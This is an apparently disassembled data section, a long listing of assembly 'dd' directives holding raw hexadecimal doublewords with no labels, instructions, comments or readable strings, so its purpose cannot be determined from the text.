		dd 0E9710214h, 7C216A90h, 0BB535015h, 0DF292F84h, 9962A1D9h
		dd 28BB000Fh, 274FEB78h, 80067992h, 3972B1A5h, 5FE94E6Fh
		dd 65E79D91h, 1AEF1880h, 8F4AD93Ah, 0CC2A8EB1h,	80C1411Bh
		dd 1B7D2BC9h, 0C4D9147Eh, 0F1810503h, 2DBE183h,	0A87ECAE2h
		dd 0F7F85265h, 954E84h,	5401A8BBh, 0B9434B19h, 0A76905AAh
		dd 0BAF187D4h, 152B046Fh, 0FBD61EDAh, 74D34A0Bh, 0F1575172h
		dd 48D27874h, 9E4B00B1h, 77750D33h, 30457FCEh, 0B81E8CC0h
		dd 18169A8Dh, 0DDAC3121h, 3236AC13h, 9C5757A0h,	405E13Dh
		dd 12FD50E5h, 0AE3274AAh, 0A9E96A30h, 3CA297DCh, 504185Ah
		dd 0BB7265BBh, 0E9507661h, 55AAD12Eh, 18802F5Bh, 941397C5h
		dd 0FB851AB3h, 643C3141h, 161FBCC6h, 4BCB214Fh,	0E3FF101Fh
		dd 0D7B081E6h, 4662C582h, 702D41C1h, 6CE1DD1h, 0DFEDC09Ah
		dd 9721C4E9h, 4820AE2Fh, 12AD339h, 0D340F897h, 62DEB11h
		dd 552F1E2Ch, 0D842E8F9h, 0EB6802A1h, 5281A2DFh, 0C9E279A0h
		dd 0E9F004DCh, 0EC184AB0h, 0FE0CB62Fh, 7D55CBEh, 0C57C16DEh
		dd 0ABF400A0h, 47682EF3h, 0A4600E4Fh, 24F77BFh,	0FEACBB72h
		dd 3B7891C0h, 2C264898h, 3550AC3Ch, 5AABFC2Dh, 0BB47CC0Eh
		dd 3D191E0Bh, 2218D96Dh, 5ED24CCh, 61502508h, 0AA9D6F5h
		dd 0C8081671h, 0DE310FD0h, 8CF5DE1Ch, 0F1492E95h, 0F424CB12h
		dd 9C1AE07h, 29C76BC0h,	5F5924C8h, 0EFE9C222h, 9A267AE4h
		dd 53638772h, 9EA9A58Bh, 8142E996h, 0A411E9D1h,	69B43F82h
		dd 0B4423F12h, 0B801BC5Eh, 7A1B76BEh, 0B19222E9h, 85BF745Ch
		dd 213B0D52h, 99C28BBh,	82BB688Fh, 0B2AAE33h, 656FBFD6h
		dd 9998F0A6h, 0B6109F58h, 8B827DD5h, 9833DA49h,	0CCA85863h
		dd 8B38C583h, 0EA31D1D7h, 5AD0CC5Dh, 150B6817h,	67120FF3h
		dd 501616h, 0DA6CE1D1h,	32C02176h, 54C6C281h, 517227D9h
		dd 462707F6h, 6883406Bh, 0A9260A29h, 2D489FA0h,	1A814BC1h
		dd 0BE000B69h, 423D07A8h, 88C3186Eh, 0B0EAD1A6h, 31BA4019h
		dd 0F23A809Fh, 5CF434EFh, 6203A16h, 8F9607A0h, 436E4981h
		dd 0A1FAF268h, 2C66ECC4h, 0F4A56362h, 2C81CA0Fh, 0D9318E8Bh
		dd 0D3D8CB49h, 0BF604A94h, 0B099C0A7h, 41FB6119h, 0DAC637E9h
		dd 65CF39D4h, 66B90FF1h, 0D24FCA48h, 87FE592Dh,	8B27F352h
		dd 0BAABD0E9h, 0EF4F6FD8h, 9D0CD696h, 0F887E2ABh, 0A8E3018h
		dd 0AA4EE94Dh, 0FE868B81h, 0C13C042Fh, 505E0B97h, 9EC6F2E9h
		dd 68C625B2h, 0F1C809Fh, 98657223h, 80C540F3h, 9D59F13Bh
		dd 0C19E08E1h, 63070CB2h, 167F97C6h, 986E9B2Dh,	93C3E279h
		dd 9148975Fh, 0D960EFD1h, 22111F5h, 63251C0Eh, 3565AB40h
		dd 1AA5744h, 48D80D1Fh,	6B055950h, 0FE7716F0h, 67C505E3h
		dd 0F029E9D3h, 4C19863Eh, 0B6DA0124h, 0FC09777Dh, 0A35C536Bh
		dd 9C14760Bh, 0B1A9E9Bh, 38C0A2E9h, 0E30E2DADh,	0B3502101h
		dd 1910DBE2h, 30C058ECh, 88510A7Ch, 947EFAD5h, 0FAE92506h
		dd 538264B5h, 26E78839h, 0E11129FDh, 0AB3B7612h, 4FE2BE37h
		dd 9CC57784h, 0BD2397BEh, 0F2878CE8h, 33087F7Bh, 277C5C1Eh
		dd 0C9B07983h, 96B95168h, 9726A02h, 0A33A58E9h,	0BF5BDA81h
		dd 2E3668F0h, 98357F7Ah, 0C2268B43h, 2FD5568Ch,	8B13C156h
		dd 5EE20422h, 0D6D0C2FDh, 59A721E5h, 0D9D46C5h,	4729594Bh
		dd 0ACF57DFCh, 684BA865h, 37D99542h, 305BC0A0h,	97130D94h
		dd 0CAF52267h, 0E381A740h, 60781F07h, 505E0C1Eh, 0B1AC4DC1h
		dd 4BC2C8B5h, 0E9E2BCB3h, 65ACD1D6h, 9EC002D2h,	401C9A88h
		dd 27723083h, 425C269Ah, 0E91208A0h, 31FFBFF4h,	24CECBE9h
		dd 8C03CCB1h, 0F603E4C0h, 98F4C1DCh, 2758E5C0h,	63F2EB28h
		dd 0BD40E92Eh, 3A95F0A2h, 5896F553h, 42B7BA7Bh,	0CE8E0429h
		dd 45BCF240h, 0F72847FCh, 0A90BE9D2h, 801B7321h, 8F162294h
		dd 40095B18h, 0DFF65CDEh, 0C9B252A7h, 2F4BF313h, 1098CF04h
		dd 58EECEBFh, 0FCA25F72h, 129217D6h, 2152EFC8h,	0E2C1D140h
		dd 9854C94Fh, 324604D7h, 929EEE9h, 1826F05Bh, 4E51D6F7h
		dd 3981B50h, 11B5894Fh,	40AE6930h, 9013BFD6h, 5106A2EDh
		dd 6F7F513h, 11328DF6h,	0C9760C78h, 17B9915h, 0E95E06EDh
		dd 0F41A6FCh, 123649F3h, 998FF9E9h, 2807D108h, 53F5BFEh
		dd 0CDE9885Ah, 66C80A9Ch, 420264C3h, 0F14C6568h, 8FB100E5h
		dd 14E9C830h, 5FEAF49h,	0DFF75AD7h, 40EF20EEh, 0E1A04953h
		dd 1E282839h, 3D79C538h, 94C71F6h, 0BBF513EDh, 207830F2h
		dd 0DBFA0135h, 0B81A7960h, 7E663F5Bh, 547C0E28h, 68A120C2h
		dd 7062C452h, 5E811FD0h, 0F5ABE53Bh, 92296F20h,	3F02893Ah
		dd 68557080h, 0BF6A1F73h, 0A1AF927Eh, 0BD4093C9h, 42C98AECh
		dd 0FF06D906h, 0AD20CAB0h, 0C62D0738h, 57795D47h, 4A3F039Dh
		dd 4C20B85Eh, 0F94753D4h, 4B40E674h, 0EFDA7509h, 4E39E647h
		dd 5C017051h, 40DAF33Fh, 166AE90Ch, 4C99A35h, 5D04F77Bh
		dd 0CED4C189h, 8BF9787Fh, 34A191FEh, 2F56A757h,	0EF89250Bh
		dd 1E527D4h, 0B7814B1Fh, 2918B24Dh, 810E854h, 1EF704ABh
		dd 7580B940h, 48432AE7h, 0B61013DDh, 2057CF62h,	62218C0h
		dd 160DD5Fh, 0E91EBF64h, 2F2C7528h, 307B0771h, 0E982D96Ah
		dd 6943BCBh, 5F398ABFh,	0F36DF944h, 719D45EAh, 0C74DBD19h
		dd 23BA2768h, 0ABF8E98Bh, 0E20F79A0h, 0B3FF1487h, 468A22A4h
		dd 39B61CC4h, 72BE80EAh, 0E92CDE08h, 0B882787Fh, 62D756EEh
		dd 7412D0DAh, 53D80458h, 0B8F887E9h, 385C820Ch,	63D182C1h
		dd 84C00678h, 800206C0h, 76625E2h, 3034B151h, 7DD469CAh
		dd 467A072Dh, 0A6ED9C62h, 14342EDh, 0D107ABBh, 7BDBF71Dh
		dd 0ECC13A8Ch, 198B9005h, 4CBA3073h, 2841B7C0h,	2340643h
		dd 685BDF30h, 0C9FC07D0h, 0CC52762h, 8C40E7C8h,	960CB45Ah
		dd 0A2E9E954h, 38310733h, 7589490Ch, 47C04EFh, 89054408h
		dd 0AC44D6A2h, 4809B99Ch, 0E0F871FEh, 0D5F9E9D0h, 18F64FC0h
		dd 90C4BDEEh, 15E5ED5h,	8E06AE19h, 0BCC13E6Bh, 0D8C2E951h
		dd 0C0B0BDEBh, 6EB7FBB0h, 0EB293E75h, 90CFA9B9h, 0E537AADEh
		dd 0CD816C01h, 69662D1Bh, 2C42F5D8h, 9C71A34h, 7CFC0BF8h
		dd 2D6E93BBh, 0B8837BA3h, 11B1B2FFh, 87047E31h,	0B01039CCh
		dd 34F1D617h, 4D43A629h, 5057004Ah, 0D51784B8h,	0CC0D0562h
		dd 0A80E4D58h, 0FB0529C0h, 90C3500h, 9891AD4h, 0BBC9E9C7h
		dd 684030DEh, 4E3E597Fh, 0CFB7E21Bh, 0C1A602C2h, 0A86155E6h
		dd 55C46A21h, 94E166ACh, 0EEC100C3h, 736CF02h, 0D2E23969h
		dd 884CB057h, 0F2C6950Dh
		dd 38182304h, 81D23117h, 9500765Bh, 0C24FD7CAh,	287F2D9Bh
		dd 824D4CCh, 0C9E3E9E2h, 912E5E48h, 11945317h, 0A4CF1505h
		dd 0FC1887FFh, 5702AD97h, 9A73B2BFh, 13827762h,	8FF187F3h
		dd 0FAE55625h, 0D297AC5Eh, 7D186DFDh, 0CBE2F376h, 47853C14h
		dd 0E75A00A6h, 62056CACh, 5C66056Fh, 12DD001h, 88685A07h
		dd 0CE59387Bh, 2FF9217Eh, 132E8CE9h, 937FCA7h, 1004F8h
		dd 1F07CBE7h, 0C6960C8h, 6B4F7325h, 0E7D0E90h, 3118097Fh
		dd 981E58C3h, 0D6C0559h, 0BA33F0E9h, 7EBC4353h,	121F4E7Ah
		dd 19D4E802h, 0F7C7F4E2h, 25617AE4h, 0C0872905h, 0EE1D2C90h
		dd 8F301916h, 13130614h, 1FAE52Ch, 5560D6B3h, 5E62784Fh
		dd 2C634B4h, 132447B5h,	2C7FAAE9h, 95021817h, 64411851h
		dd 9C888966h, 571D75D3h, 9542A92h, 353212B7h, 68C256ACh
		dd 749486Bh, 5B843C69h,	5E9553A3h, 0DE01A990h, 0C15AF17Ah
		dd 32728BE3h, 1673C406h, 611A8668h, 788D221h, 0CB75E577h
		dd 9909FA5Fh, 431CF4C9h, 0E558D2BCh, 0ADD85FC5h, 84269E61h
		dd 0BD315FFEh, 73795B53h, 4A179A90h, 0C8178B0h,	0D293D4F1h
		dd 0CDF5CB4Ah, 0A39D2A94h, 68823F7Dh, 67A90713h, 50983905h
		dd 0B840C6C1h, 291B1F4Fh, 6AF45DF3h, 0CB7B9516h, 0DF93A4A5h
		dd 5F1DCFA1h, 4218CD2Fh, 7F097CBDh, 0EE830C83h,	0DF624EBAh
		dd 380DE3C0h, 2213E927h, 374D757h, 0DEB7F280h, 0B571018Bh
		dd 1A74C78Bh, 70BBF70Fh, 1BC6B6CDh, 88BD4401h, 2FDBBA52h
		dd 0E8546033h, 924D9F02h, 27DB4057h, 0BD4C5A06h, 649878DDh
		dd 0E1F10530h, 2E2C64BBh, 4FD8294Ch, 0EE72FDEEh, 4125A928h
		dd 411685FBh, 7FC11930h, 0EE050A27h, 91033906h,	0E0DD4F9Dh
		dd 2192FA2Ah, 50A7419Dh, 46C47E5h, 0CF0DB4Eh, 6F92A4E9h
		dd 0E64D09EFh, 837437DEh, 3131BD26h, 0B63C13EDh, 5DEF2909h
		dd 52550F2h, 9ABF3EAh, 337E31A0h, 0C9D4FCD2h, 125918F7h
		dd 39D82E59h, 0D2C61388h, 0B2E62466h, 0CB0C5A9Fh, 67A5E79Dh
		dd 728DB15Bh, 0FA2714CBh, 34B5969Fh, 13E8F3EFh,	0FCC33016h
		dd 0D852DF54h, 0FD318791h, 99FEFC9h, 0C18B8CCFh, 418289E1h
		dd 207E733Fh, 8013B1C5h, 0CA20FCF7h, 13385948h,	60AF305Eh
		dd 4BC8685Ah, 0FFACD099h, 0E3C0FD00h, 73EB8007h, 1FF30462h
		dd 0BBF6CBFEh, 0E9126802h, 2547784Ch, 12D6EC68h, 0CCB062C4h
		dd 0F7CA1E87h, 0E10158D9h, 0C00BA0B8h, 762974F5h, 80404310h
		dd 8850C90Ch, 8B89DAD4h, 3CF8A4E4h, 0CA2D734Fh,	0CB85B92Dh
		dd 6321FB59h, 0B101DBAEh, 0ACF1DDE6h, 1E1CE3B3h, 6149267Dh
		dd 8A37E3Ch, 88ECABA9h,	3A2F14D9h, 0F47C3397h, 0BF80FD9Eh
		dd 501D0707h, 0BBF8311Eh, 0AAA844AEh, 0F1805803h, 0D8BE849Ah
		dd 1720E92Ah, 0CE629714h, 10D96757h, 934F1AFAh,	66265C4Ch
		dd 0E640D4F2h, 0E4249DBBh, 93D4181h, 8407490h, 274A6462h
		dd 6E5C2901h, 10340CC8h, 0B70C1C25h, 705DFEh, 0B854332Ch
		dd 466F164Fh, 8EA9314Bh, 3A3D3581h, 4406205Ch, 0C5F9E16Eh
		dd 96A9B49Bh, 0BAE9E53Fh, 0C5BD8858h, 1377AB7Ch, 8EDA0B56h
		dd 1E878B29h, 0AE3A825Eh, 0EE9D95F2h, 0E79CB537h, 991E916h
		dd 5D4A2CAEh, 0C5243D98h, 0D09D2596h, 0E6034DCBh, 0DE949FBFh
		dd 0F95E542Dh, 0C26452E3h, 0AB9A0798h, 0CA38DBB5h, 71D20950h
		dd 0F897CCC4h, 3A8FB167h, 213A297h, 2BE6E9E3h, 4A0AC755h
		dd 59833653h, 8B907C1h,	50C67663h, 0A5F305CEh, 0E2386203h
		dd 4161977Ch, 0E058C87h, 2BE96389h, 0E280AC45h,	68D12A56h
		dd 0C4515EE9h, 98DBFE40h, 85B6B85Ah, 0B3F98429h, 4A730B3Ch
		dd 1300A7CBh, 0BA5AD6h,	0D1338E0Ch, 8576E93Eh, 307199C4h
		dd 0A1BB29EFh, 57C3C0A0h, 694A0450h, 0F873F370h, 79D20903h
		dd 20DFF693h, 12CF5EB4h, 1692BD82h, 0C3EC9F39h,	693F380h
		dd 0CC12F84h, 194047D8h, 0DF4F9000h, 82BBD348h,	7A1146E9h
		dd 2066B0E8h, 5737277h,	301B2C15h, 63ABD358h, 0E148E6AEh
		dd 67CE051Ah, 3B813A29h, 46212228h, 809E0C80h, 0D12164A6h
		dd 0C171E927h, 0A86C0871h, 8DDB8E13h, 3FD829D2h, 992B9703h
		dd 892881E1h, 1A65B902h, 0DE808855h, 562757BEh,	0BFF1295Eh
		dd 315B0800h, 7045BDC8h, 24E2EEA7h, 7C55256h, 7AA46E5h
		dd 435BB0BAh, 0EA4A310Bh, 538B6CF2h, 0F029AF07h, 0ACE948D6h
		dd 426628B2h, 3E24130Ch, 12A55450h, 75E8705h, 747BBBE8h
		dd 14C5EE8Ah, 0C35443AFh, 0CD36BC1h, 0EBC2FBE3h, 0E55F0885h
		dd 7AA0E976h, 0AF81FC71h, 69C1EB04h, 4F305425h,	229641DEh
		dd 0B9D5841h, 0DE623431h, 3E9402B9h, 0C45D30AAh, 676B09CCh
		dd 2780632h, 5DEEF9F6h,	0BD8A0E60h, 0C34CCD72h,	0A368460Ch
		dd 0B442D8Ah, 0E9710890h, 77A2FE5Eh, 65D2C95Bh,	2E002A3Fh
		dd 0AEBB850h, 2928138Fh, 0E49DAC44h, 0E92298EAh, 7FA5F95Eh
		dd 15C3C33Bh, 0F51B35F9h, 5B2D7409h, 0AFAC584Ah, 9F0757B0h
		dd 0F1F26460h, 971B8543h, 0E9273ED0h, 0D8D043A5h, 268564Bh
		dd 48591547h, 285E465Eh, 322EBD60h, 0EC5F4BB1h,	0E5D112CDh
		dd 0F8894AAEh, 0CE8087F3h, 0F3EE303Dh, 5A7EF588h, 0C8BE1F27h
		dd 13CDEF3Eh, 832A3D0Dh, 0BD4D573h, 0FC26A05Ah,	95617768h
		dd 54256C46h, 0F00B6472h, 0A3DF4BA1h, 0B3BC9755h, 8B2A0BD3h
		dd 9C13FD90h, 46202Fh, 7C9D0512h, 29541270h, 87511F8h
		dd 0CD5DE813h, 0E4ED3078h, 0A740A941h, 2E6C14BCh, 107B5722h
		dd 0A68926F4h, 0FB60763Fh, 5A58C711h, 0F4F2DE47h, 33B0C103h
		dd 89CD6B73h, 31C9B801h, 30653D3Bh, 0C04456A8h,	0A23009EEh
		dd 94F05D92h, 85765562h, 83A60E7Eh, 459F0A6Eh, 0FFD1AFA5h
		dd 0B039627h, 194643D7h, 0EC2731D4h, 9A5A201Fh,	68F69DA0h
		dd 8C091024h, 983F1902h, 7EC37718h, 0C0048A2Eh,	1F67BB80h
		dd 281165Eh, 7A4403CBh,	1DF4310h, 25D3117h, 9374FF41h
		dd 2B296801h, 8210748Dh, 49C25F47h, 7411C4Fh, 50E42942h
		dd 728A9CB2h, 846934F9h, 80C11855h, 7B705550h, 0A7FA412Ch
		dd 0B45AFE40h, 66D5FF0Ch, 44322CBAh, 0F593E658h, 4FD96698h
		dd 8446ACD6h, 0EEA9EDFDh, 6DAECDDEh, 6EC06A16h,	77F32E34h
		dd 20C9806h, 616FE1D6h,	0F162C629h, 21581CDCh, 0A5C8B4C3h
		dd 47D5A2C2h, 0BB52A7E7h, 4B47DB40h, 4CF8E21Bh,	0EE9129FCh
		dd 210A9F02h, 0E4E07542h, 20BEC501h, 0E422770Ch, 92CB09C6h
		dd 0F8F041FEh, 887F5B9Dh, 0BB1FE3F2h, 73137802h, 0F0925D43h
		dd 0B902F474h, 4152EE42h, 10C43504h, 48E9108Eh,	0F8B41FD1h
		dd 80B9B681h, 45F4EFC6h, 0D564B5A5h, 9AF0212Dh,	0EBA2DF8Dh
		dd 6851C9E9h, 0C8A32E0Bh, 3B0876ABh, 0CA04281Eh, 0F0336CB1h
		dd 770971B4h, 0B215440h, 0A2525Eh, 4DC93D89h, 0C15AD131h
		dd 2D03E939h, 80CB7C50h, 3904F828h, 0EB2D805Bh,	0EE20C0A6h
		dd 0E7A5CBD8h, 0F2208DECh, 0EA16D2B0h, 4C299540h, 0BE590824h
		dd 0F478697Dh, 5B8DDC25h, 9777A886h, 8BE53D0Bh,	0A1680BBDh
		dd 80E3741Bh, 0B2525051h, 0D0028847h, 3039B15Ah, 34827DC1h
		dd 867A1048h, 0E74F909h, 828F7C20h, 33F73521h, 756885Dh
		dd 29201825h, 4F22B7F1h, 7979EB7Ah, 9DD8193Ch, 402B3110h
		dd 59260377h, 0EC04271h, 0E34480B3h, 0C1724BE9h, 7AEAC12Eh
		dd 8790A6C5h, 9C190525h, 104E0C15h, 0D368018Ah,	5A1608ACh
		dd 0B9B1E7A8h, 3DBCCC96h, 2B02D9A1h, 0AAC98500h, 0EF2FFB14h
		dd 6E6C7EFh, 4A6A77E8h
		dd 0CE775A27h, 266F3F74h, 12845AD6h, 41483879h,	0A8144155h
		dd 0A0127128h, 7CC7081Ch, 123E545Fh, 883CC2B5h,	42782D8Eh
		dd 5952CB29h, 7636109Dh, 5221334Bh, 6FA7D3BFh, 0EF801A0Eh
		dd 0BAF76516h, 0FFE1DA0Ah, 546468C1h, 0E983236Dh, 261DC7ABh
		dd 52CAEA29h, 0E7A4B27Fh, 0E2C2AD3Fh, 70437736h, 0A23CE8FDh
		dd 35E812E8h, 82733668h, 12AA3248h, 0CB901401h,	7B9D549Fh
		dd 2284305Ch, 6436BAC1h, 64659B24h, 79B23C09h, 0FE318984h
		dd 294D9B64h, 0B56B48CFh, 7D41454Bh, 0B8015A85h, 400A90F1h
		dd 465A78B9h, 0E3D10FA0h, 4DF01606h, 94152D2Eh,	1AEDE08h
		dd 0CC8063B4h, 42896A4Ch, 3D940D40h, 0F84D76C3h, 0EBFD3FFAh
		dd 1897BD4Ah, 0F7298889h, 0E36A137Ah, 602A1F2Ah, 18FA012Eh
		dd 0B43CED07h, 688DB85Ah, 0AAD835C2h, 2F99270Dh, 2113F3F0h
		dd 53C56075h, 864908F8h, 6602066Bh, 80018A6Ch, 0DAC037EAh
		dd 8DC2C451h, 0D2290BF2h, 207C98F9h, 683CDB46h,	80E0D993h
		dd 2A706E0Eh, 0B1350A48h, 25E48640h, 0A7684660h, 53192193h
		dd 9D48EE14h, 3B05181Ch, 4693BE72h, 0AC10E73Ah,	98A015ACh
		dd 6057330Bh, 0FCA5703Ah, 0FC264F5Eh, 534CDEDBh, 4E9C9B74h
		dd 9C6CF97Dh, 410E6CC0h, 0B40779E9h, 26D1E9DCh,	0D4BAEE44h
		dd 0B6A182B8h, 0A2971D46h, 27541F7h, 0A35E0558h, 0C1895A86h
		dd 9B22DF0h, 5227B764h,	53DEB154h, 3F78E140h, 0BB4A1AF0h
		dd 0CB610B7Ch, 3F75727Dh, 671D1354h, 0F31A4EADh, 0F3E01504h
		dd 139585DFh, 0EB92EF61h, 0D2DAAFF6h, 168551E0h, 0B1EA4CA1h
		dd 12B12B5Bh, 5F53C420h, 22BA782h, 1C65E181h, 681F68EAh
		dd 6409286Ah, 490330BAh, 1BB25B14h, 9B65635Ah, 83ED88AEh
		dd 2720695Bh, 958DB353h, 0FE30CCE4h, 47E904CBh,	2589187h
		dd 0C495B20h, 9174DC40h, 0E96F3A9Ch, 1A8F4F9h, 9D34CFBFh
		dd 0C8D8826Ch, 0E033FD3Ch, 5A0803CCh, 5C28BD60h, 0F72D6C7h
		dd 25925E39h, 225A28D4h, 7832E9D5h, 0B350955Ch,	0CABD28F0h
		dd 84445D94h, 290FD294h, 0A571292Bh, 817EBC9h, 41D2BAC8h
		dd 17562ACBh, 41A61A2Ch, 63D96EB2h, 59A68D2Dh, 98992F20h
		dd 3C0095Ah, 0C8632734h, 50080095h, 0C32CF868h,	0C47CB690h
		dd 0B5F11C9Fh, 0B157340Bh, 0EC04DE7Ah, 1CB213A8h, 0FE1276BDh
		dd 0B47CE49Fh, 1258A240h, 0ABB62D40h, 46B79B17h, 0D3FDE90Ch
		dd 0A995BD28h, 0E15809C4h, 9D659AAh, 6300AD4h, 9FD7F703h
		dd 51FD2CA0h, 68955A86h, 800AABDFh, 4139CB87h, 0C2FFA31h
		dd 0A9DD6BEBh, 0F7D4195Bh, 0F593F0DBh, 20FF2B61h, 0D59C726Ah
		dd 69430F27h, 0F7FD6235h, 0E927F336h, 27ECFC64h, 0F1951C52h
		dd 28C6B26Ah, 77BCFE74h, 4F0D6CF3h, 8A01B8A0h, 0F49D1AD7h
		dd 3DE2096h, 586465AAh,	122DD701h, 0AF2A7CC7h, 0C920BD50h
		dd 0EFBA009Ch, 0B9291068h, 0ED3F0F9Bh, 9DCC972Bh, 0FE5D4E8h
		dd 0EE72719Bh, 12BE9F34h, 760D1FCh, 9FF5427h, 0C510978Eh
		dd 510C012Eh, 0DCD92908h, 0EEDF413Eh, 0F62DE0E4h, 0A55471E3h
		dd 0FA2248FAh, 0BA044058h, 0A14AF809h, 0A76B824Dh, 0B084D2ECh
		dd 12130C3Bh, 6641732h,	5F5B77B2h, 228C782Dh, 0EDA3B04Ch
		dd 456F4805h, 0C2AB2953h, 6807E57Eh, 0D84450E5h, 0AA8990AAh
		dd 1EA0689h, 3D7F7000h,	0EA975CC9h, 0BED7C18Eh,	62C19B30h
		dd 5E7947D0h, 2DC5B4DDh, 32B9FCA7h, 0E56EF0D5h,	0D9BE3BBFh
		dd 4D22BF42h, 2E23C30Eh, 59B201AEh, 0FE521155h,	172AEF86h
		dd 0ABF0555Eh, 1037D8D3h, 35A49E9h, 0A892BBA6h,	20B79409h
		dd 0DB01A19Fh, 0CA5AFAAh, 47722D15h, 8005080Eh,	0F801F103h
		dd 0D07701AEh, 6009FE71h, 75136C01h, 0F800318Ch, 530C47C1h
		dd 2DE91714h, 0F16DE41Dh, 0D10CA0Dh, 40F80E4Fh,	1F5E48AEh
		dd 0D77DF24Fh, 0AF3765AAh, 4EE98E60h, 54C9FD4h,	0F188F81Fh
		dd 0FE09277Ch, 7B64EF13h, 0DF46B39Dh, 65A1C0C9h, 0D21B0960h
		dd 0F2CFB744h, 1608448Ah, 0CD243087h, 3ECC000h,	7EF4CCFEh
		dd 0F9F89F5Bh, 0D244BBF4h, 7A9C4003h, 0C2321E92h, 2D0575Fh
		dd 1EE9C507h, 0BF007958h, 69F906B5h, 14C8CF81h,	0C9179957h
		dd 0EA4FC70Fh, 0C529B3E4h, 0AA051375h, 0FF814756h, 0FF04B1ACh
		dd 0E1F16F06h, 0E613B50Ah, 806DE9D9h, 2CC828E5h, 4A0459F8h
		dd 0B052BCBBh, 5DE2E952h, 54C4C9B0h, 0BC00BE5Bh, 68437521h
		dd 0C1ED07D1h, 308103E5h, 7A703D9Eh, 53FAE93Bh,	745448D9h
		dd 8C25739Ah, 25EB4604h, 0ED510605h, 9707072Ch,	840BC380h
		dd 0EBAC080Ah, 977AEA2Eh, 80A1E855h, 8B753540h,	3FDF4D13h
		dd 60115648h, 94884B68h, 0D4C18233h, 2DB9016Fh,	902572C0h
		dd 0C9560B54h, 58A9663Bh, 51E96E81h, 0C40E2CD2h, 913990Ah
		dd 1705DD1Dh, 0B294450Bh, 0EAD0EAD8h, 76D3285Dh, 73EB305Ah
		dd 0E92AB4BAh, 8765DD5Ch, 8A6243C1h, 27E8FE99h,	0BC625BD9h
		dd 9A395791h, 0D6B46BD2h, 0E96441E4h, 0D9532053h, 438B7718h
		dd 3048C25Ch, 0BE0C383Fh, 564EC90Fh, 0FC96B0B8h, 2A8C9E74h
		dd 4BFA15D5h, 0DF66AC5Fh, 0FBF8E596h, 0A0016AA6h, 0E965E01Dh
		dd 3F9DEA15h, 8456D6D0h, 30C1BBE8h, 9D488897h, 4E26FE87h
		dd 82541C0h, 613A1706h,	66B01112h, 0FEF4CB4Bh, 130D03C8h
		dd 44501A9h, 0DA9BBBh, 6864BE56h, 812F00C5h, 862AAECEh
		dd 0D1BD507Ch, 13A520D0h, 0EA7A0D88h, 0E2CE5100h, 2DE9AFD6h
		dd 0FA73C8A2h, 0C988922Ch, 9A6804A1h, 609FCD63h, 4B977169h
		dd 54D6D211h, 215F504Ch, 195DCFA2h, 0D8CEE957h,	4AC6FCC1h
		dd 70AB858h, 0F29FF020h, 0C7948BF9h, 0E9E02765h, 3ED477D2h
		dd 66D331Fh, 9D8CD9B8h,	0D64CF729h, 8963B705h, 4087EDDFh
		dd 0C1A80EBAh, 0ED12FEBBh, 48ACB192h, 0E37A5519h, 6E983B78h
		dd 479B4182h, 27C456A8h, 8411123h, 502D63AEh, 6FE73DB3h
		dd 0A7BB627Ch, 0D8414CE2h, 0B2F3F884h, 0C0DC06C4h, 5CD41AE0h
		dd 148B2F1Eh, 9CBD9B96h, 0F93FB0EBh, 53D5D2Fh, 894C0EB8h
		dd 0E1F1478Bh, 602F50BEh, 1C58F67Fh, 3FB84F8Ch,	0C0B70F0Bh
		dd 0A22AABDAh, 34828ACAh, 512CBBFCh, 5D986715h,	48E0A5A3h
		dd 0E4741F60h, 15E7810Fh, 405BF85Fh, 0C41F9AC4h, 7AC37F4Ch
		dd 3FE521FDh, 0A6C00516h, 918A82Eh, 91DAE9A0h, 2D0272E8h
		dd 3E45A61Ch, 0E117A5FEh, 46D9AD46h, 584C513Ch,	4D800E7h
		dd 0C5072CEFh, 39366866h, 379F9049h, 82DEABB9h,	56850979h
		dd 3F8CAAF9h, 11D36BD9h, 973C8DDCh, 10A223EDh, 0D85F78h
		dd 0F2FBBEFBh, 0BAB01659h, 88DCE441h, 6726CBDDh, 0E5C0DFE0h
		dd 51660701h, 12454F6h,	2EECC6Fh, 41ED8001h, 87E92F04h
		dd 6A7CF12Eh, 0F2D2E9B3h, 65A212A2h, 68828EE6h,	715942FAh
		dd 0D38F4689h, 4CA708C3h, 0A181726h, 272C8E37h,	0B7764E7Ah
		dd 6C095F03h, 9BCDB05Bh, 1837F40Dh, 0A59D70E9h,	4F003EF7h
		dd 89565FFDh, 491868FEh, 84868954h, 0C3062D7Ch,	320320C2h
		dd 8E1A050Ch, 0B029123Ah, 0D309E22Dh, 82458A25h, 62F08550h
		dd 98DC7804h, 82944508h, 5F6462ECh, 0B8B2826Ah,	475A0174h
		dd 8A176B97h, 63C549F9h, 38108879h, 0B73F669Dh,	0F3CF25DBh
		dd 318129AFh, 174E28C0h, 5000DF87h, 736A3EB6h, 399621h
		dd 82002EFh, 0C72FE972h, 0EA6C56DFh, 567C0282h,	0D3422FF2h
		dd 9202EF6h, 1DDBE916h,	0A0CFD0A8h, 30C7FD38h, 0F3C3A512h
		dd 0CCAB3385h, 4E966631h, 5EAF0F89h, 616542EEh,	65B0DD2Bh
		dd 0F9BDB0FCh, 70818ED3h
		dd 0CA87526Eh, 42F1242h, 7C22CB8Fh, 0C8D575F9h,	2D8AB38Fh
		dd 0B2E0F4AEh, 93B7D65Eh, 0A1BDC20Ah, 340268B4h, 0F4BECD3Bh
		dd 155E792Dh, 0D858F35h, 0E9FDD1BAh, 0B8E1241Ch, 0BE21AC00h
		dd 2ACF3501h, 255200A8h, 4CCC55A0h, 0FE02E205h,	0C6E9BFFBh
		dd 63AB7F62h, 1D0297FBh, 403E6F3Ah, 0F3D5B35h, 0E3D10988h
		dd 0AB6DF300h, 0F998CB14h, 7852DE96h, 2E0DB835h, 3FFBD828h
		dd 0E3A76A3Dh, 0E55D3962h, 685C0227h, 0A6485F1Ah, 5681230Fh
		dd 2466EEECh, 1CE7076h,	53070CE6h, 0F9D42009h, 18304524h
		dd 4670F603h, 6089EA1Eh, 6236E9CBh, 1EF6BF8h, 999A652Fh
		dd 341639FAh, 0D061F708h, 0A84FE90Bh, 0E58F624h, 0C7885351h
		dd 685BF940h, 1EAB555Dh, 18F0BDB0h, 0E947CE09h,	2DB2A07Dh
		dd 13D15872h, 11C8012Ch, 0D81208E1h, 0BB09EB5Bh, 55939AF6h
		dd 54807D92h, 0CF20E4E0h, 89CF7995h, 0E1F427E9h, 0C928371h
		dd 0FA673155h, 2526408Eh, 81A0881Ch, 1CB790A1h,	5FE8FCD7h
		dd 30DBC9F8h, 5B81D1C5h, 7479853Ch, 224E92F3h, 48D648EDh
		dd 552D2EE7h, 33905C73h, 0E1D13475h, 6D80BB55h,	0EA1772C2h
